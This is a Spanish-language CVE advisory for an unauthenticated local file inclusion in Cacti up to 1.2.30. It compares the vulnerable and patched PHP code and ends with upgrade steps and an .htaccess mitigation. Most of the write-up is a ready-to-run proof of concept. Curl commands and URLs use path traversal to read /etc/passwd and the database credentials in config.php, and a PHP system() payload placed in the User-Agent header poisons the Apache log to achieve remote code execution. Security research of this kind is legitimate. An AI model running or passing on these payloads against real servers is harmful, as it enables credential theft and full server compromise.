CVE-2026-39938: Cacti <= 1.2.30 - LFI no autenticado

Resumen Ejecutivo

Campo	Valor
ID CVE	CVE-2026-39938
Puntuación CVSS	9.8 (Crítico)
Producto afectado	Cacti
Versiones afectadas	<= 1.2.30
Versión parcheada	1.2.31
Commit de corrección	9871f0c

Detalles de la Vulnerabilidad

Causa Raíz

La vulnerabilidad existe en lib/rrd.php donde el parámetro graph_theme se usa directamente sin sanitización:

CÓDIGO VULNERABLE:

if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

CÓDIGO PARCHADO:

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

El problema: No hay validación contra secuencias de path traversal ../, permitiendo a atacantes leer archivos arbitrarios sin autenticación.

Prueba de Concepto (PoC) - Pasos Sencillos

Paso 1: Verificar la Vulnerabilidad - Leer /etc/passwd

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

Resultado: El contenido de /etc/passwd se mostrará en la respuesta.

Paso 2: Leer la Configuración de la Base de Datos

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

Resultado: Las credenciales de la base de datos (usuario, contraseña) quedarán expuestas.

Paso 3: Ejecución Remota de Código mediante Envenenamiento de Logs

3.1 Inyectar Código PHP en el Log de Apache

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 Ejecutar el Código Incluyendo el Archivo de Log

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

Resultado: La salida del comando (por ejemplo, uid=33(www-data)) se mostrará.

Puntos Finales Comunes Probados

Ejemplos de URL PoC

Prueba LFI Básica

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

Leer Configuración de la Aplicación

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

Envenenamiento de Logs (Inyección)

http://target-cacti/graph_image.php?local_graph_id=1

Con la cabecera: User-Agent: <?php system('id'); ?>

Envenenamiento de Logs (Ejecución)

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

Remediación

Actualizar a la Versión Parcheada

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

Verificar que el Parche se Aplicó

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

Mitigación Temporal (.htaccess)

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

Referencias

W.P.E.F

Informe generado con fines de investigación en seguridad Fecha: 27 de junio de 2026

`/graph_image.php`	`graph_theme`	`../../../../../../../etc/passwd`
`/graph_image.php`	`graph_theme`	`../../../../include/config.php`
`/graph_image.php`	`graph_theme`	`../../../../../../../var/log/apache2/access.log`

By-Poloss..-..CVE-2026-39938

Más Populares